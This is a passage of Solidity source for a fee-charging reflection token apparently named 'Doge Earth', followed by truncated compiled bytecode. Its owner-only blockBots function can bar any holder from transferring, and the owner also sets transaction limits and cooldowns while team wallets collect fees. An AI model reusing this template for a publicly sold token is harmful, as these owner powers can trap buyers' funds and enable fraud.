mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (50 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f446f676520456172746800000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f446f674520f09f8c8e0000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b603242611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e7